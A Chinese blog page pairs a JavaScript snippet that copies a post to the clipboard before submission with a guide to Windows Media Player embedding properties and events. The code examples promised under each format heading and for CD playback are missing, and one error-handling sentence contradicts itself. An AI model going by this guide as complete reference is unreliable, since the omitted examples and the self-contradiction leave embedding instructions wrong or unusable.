今天发现Blogcn里面的一段代码的用处很大,就是在提交Blog的时候,先复制一份到剪贴板里面,然后再提交。这个时候,如果提交失败的话。所写的 Blog内容也不会丢失。虽然这个方法很容易实现,但是却是个非常有效的防止所写的Blog内容丢失的方法。我把Blogcn里面的代码复制了一部分出 来,等哪天有时间,我把这份Code加到我的Blog里面,让它也具有这个功能。

Code:

therange=document.PostTopic.Message.createTextRange();
therange.execCommand("Copy");
tijiao.innerHTML = aSubmit();

function pasteC(){
alert("本还原操作将还原最近一次日志发表失败内容!");
document.PostTopic.Message.focus();
document.PostTopic.Message.createTextRange().execCommand("Paste");
}
</script>

另外,经过对比了N个Blog程序,发现。没有十全十美的符合自己要求的Blog程序,100%符合自己要求的程序只有通过自己来写,才能真真正正符合自己的需要。所以,我决定暂时还是不换目前所用的这个C-blog程序了。等有时间的时候来完善一下吧。

1.avi格式

代码片断如下:

2.mpg格式

代码片断如下:

3.smi格式

代码片断如下:

4.rm格式

代码片断如下:

5.wmv格式

代码片断如下:

6.wma格式

放在 <body> 里面。下面是部分解释:

7.Windows Media Player 系列(不同面板样式)

综合型:

简易型:

标签型:

引用内容

媒体播放器的外观界面

在网页中,你可以通过相关属性来控制媒体播放器的哪些部分出现,哪些部分不出现。
媒体播放器包括如下元素:
Video Display Panel:视频显示面板;
Video Border:视频边框;
Closed Captioning Display Panel;字幕显示面板;
Track Bar;搜索栏;
Control Bar with Audio and Position Controls:带有声音和位置控制的控制栏;
Go To Bar:转到栏;
Display Panel:显示面板;
Status Bar:状态栏;
下面的属性用来决定显示哪一个元素:
ShowControls 属性:是否显示控制栏(包括播放控件及可选的声音和位置控件);
ShowAudioControls 属性:是否在控制栏显示声音控件(静音按钮和音量滑块);
ShowPositionControls 属性:是否在控制栏显示位置控件(包括向后跳进、快退、快进、向前跳进、预览播放列表中的每个剪辑);
ShowTracker 属性:是否显示搜索栏;
ShowDisplay 属性:是否显示显示面板(用来提供节目与剪辑的信息);
ShowCaptioning 属性:是否显示字幕显示面板;
ShowGotoBar 属性:是否显示转到栏;
ShowStatusBar 属性:是否显示状态栏;

□播放列表

媒体播放器提供下面的方法来访问播放列表中的剪辑:
Next 方法,跳到节目(播放列表)中的下一个剪辑;
Previous 方法,跳回到节目中的上一个剪辑;
媒体播放器的一个特性是能够预览节目中的每一个剪辑,使用如下属性:
PreviewMode 属性,决定媒体播放器当前是否处于预览模式;
CanPreview 属性,决定媒体播放器能否处于预览模式;
在windows 媒体元文件中,可以为每一个剪辑指定预览时间——PREVIEWDURATION,如果没有指定,那么默认的预览时间是10秒钟。
你也可以用Windows 媒体元文件来添加 watermarks 与 banners,元文件也支持插入广告时的无间隙流切换。

□节目信息

使用 GetMediaInfoString 方法可以返回相关剪辑或节目的如下信息:
文件名:File name
标题:Title
描述:Description
作者:Author
版权:Copyright
级别:Rating
URLs:logo icon、watermark、banner的地址
剪辑信息可以放在媒体文件中,也可以放在Windows 媒体元文件中,或者两者都放。如果在元文件中指定了剪辑信息,那么用 GetMediaInfoString 方法返回的就是元文件中的信息,而不会返回剪辑中包含的信息。
在元文件中,附加信息可以放置在每一个剪辑或节目的 PARAM标签中。你可以为每个剪辑添加任意多个 PARAM 标签,用来存储自定义的信息或链接到相关站点。在 PARAM 标签中的信息可以通过 GetMediaParameter 方法来访问。
下面的属性返回有关大小和时间的信息:
ImageSourceHeight、ImageSourceWidth:返回图像窗口的显示尺寸;
Duration 属性,返回剪辑的长度(秒), 要检测这个属性是否包含有效的数值,请检查IsDurationValid 属性。(对于广播的视频,其长度是不可预知的)。

□字幕

你可以用 .smi 文件来为你的节目添加字幕。媒体播放器支持下面的属性来处理字幕:
SAMIFileName 属性,指定 .smi 文件的名字;
SAMILang 属性,指定字幕的语言(如果没有指定则使用第一种语言);
SAMIStyle 属性,指定字幕的文字大小和样式;
ShowCaptioning 属性,决定是否显示字幕显示面板;

□脚本命令

伴随音频、视频流,你可以在流媒体文件中加入脚本命令。脚本命令是多媒体流中与特定时间同步的多对Unicode串。第一个串标识待发命令的类型,第二个串指定要执行的命令。
当流播放到与脚本相关的时间时,控件会向网页发送一个 ScriptCommand事件,然后由事件处理进程来响应这个事件。脚本命令字符串会作为脚本命令事件的参数传递给事件处理器。
媒体播放器会自动处理下面类型的内嵌脚本命令:
1)URL型命令:当媒体播放器控件收到一个URL型的命令时,指定的URL会被装载到用户的默认浏览器。如果媒体播放器嵌在一个分帧的HTML文件中,URL页可以装载到由脚本命令指定的帧内。如果脚本命令没有指定一个帧,将由 DefaultFrame 属性决定将 URL 页装入哪一帧。
你可以通过设置 InvokeURLs 属性来决定是否自动处理 URL 型的脚本命令。如果这个属性的值为 false ,媒体播放器控件将忽视 URL型命令。但是脚本命令事件仍会触发,这就允许你有选择地处理 URL 型命令。
URL 型命令指定的是 URL 的相对地址。基地址是由 BaseURL属性指定的。媒体播放器控件传送的脚本命令事件的命令参数是链接好的地址。
2)FILENAME型命令:当媒体播放器控件收到一个FILENAME型的命令时,它将 FileName属性设置为脚本命令提供的文件,之后媒体播放器会打开这个文件开始播放。 媒体播放器控件总是自动处理 FILENAME 型命令,不象 URL 型命令,它们不能被禁止。
3)TEXT型命令:当媒体播放器控件收到一个 TEXT型的命令时,它会将命令的内容显示在控件的字幕窗口。内容可以是纯文本的,也可以是 HTML。
4)EVENT型命令:当媒体播放器控件收到一个 EVENT型的命令时,它会在媒体元文件中搜索 EVENT 元素的 NAME 属性。如果 NAME 属性与脚本命令中的第二个字符串匹配,媒体播放器控件就执行包含在 EVENT 元素中的条目。
5)OPENEVENT型命令:当媒体播放器控件收到一个 OPENEVENT型的命令时,它会在媒体元文件中检查 EVENT 元素,并打开匹配的标题,但不播放,直到收到来自 EVENT型命令的同名真实事件。

□捕捉键盘和鼠标事件

EnableContextMenu 与 ClickToPlay 属性为用户提供了在图像窗口进行操作的方法。
如果 EnableContextMenu 属性为 true ,在图像窗口右击鼠标可以打开关联菜单,如果将ClickToPlay 属性设为 true ,用户可以单击图像窗口进行播放与暂停的切换。
要接收鼠标移动和单击事件,请将 SendMouseMoveEvents 和 SendMouseClickEvents 属性设为 true 。鼠标事件有:
MouseDown,当用户按下鼠标时产生;
MouseUp,当用户释放鼠标时产生;
MouseMove,当用户移动鼠标时产生;
Click,当用户在媒体播放器上单击鼠标按钮时产生;
DbClick,当用户在媒体播放器上双击鼠标按钮时产生;
要接收键盘事件,请将 SendKeyboardEvents 属性设为 true 。键盘事件有:
KeyDown,当用户按下一个键时产生;
KeyUp,当用户释放一个键时产生;
KeyPress,当用户按下并释放一个键时产生;

□监测流状态与网络链接

流状态属性包括:
PlayState:播放状态;
OpenState:打开状态;
Bandwidth:带宽;
支持的事件有:
OpenStateChange:打开状态改变(仅当SendOpenStateChangeEvents属性为true时触发)
PlayStateChange:播放状态改变(仅当SendPlayStateChangeEvents属性为true时触发)
EndOfStream:流结束时触发;
NewStream:打开新流时触发;
网络接收属性包括:
ReceptionQuality:接收质量;
ReceivedPackets:已经收到的包;
LostPackets:丢失的包;
监测缓冲的属性有:
BufferingTime:缓冲时间;
BufferingCount:缓冲次数;
BufferingProgress:缓冲进程;
Buffering:缓冲事件;

□错误处理

媒体播放器提供了内建的错误处理功能——在对话框或状态栏显示错误信息。 另外,你可以自己添加错误处理程序。如果 SendErrorEvents 属性设置为 true,将不会显示错误框,而是发送错误事件;如果 SendErrorEvents 属性设置为 false,将显示错误框,而是发送错误事件。
媒体播放器支持下面的错误处理事件:
Error 事件,指有危险性错误发生;
Warning 事件,指发生了非危险性的错误;
当你的应用程序接收到一个错误事件,你可以检测下面的属性来确定具体的错误信息:
HasError:检测目前的媒体播放器是否有错误;
ErrorCode:提供与该类型错误相关的代码值;
ErrorDescription:提供错误的描述信息;
ErrorCorrection:指定媒体播放器对该类型的错误进行校正;

□播放CD

媒体播放器将 CD 看作(在每个音轨的开头具有标记的)单一音频流。 要在网页中使用CD,你需要将 FileName 属性设为 CDAUDI,必须带有冒号,如下所示:

之后你可以用 Play 方法播放 CD 了。
你可以在 windows 媒体元文件中指定播放顺序以及每个音轨的信息。示例如下:

作者Blog:http://blog.csdn.net/hnwanghb/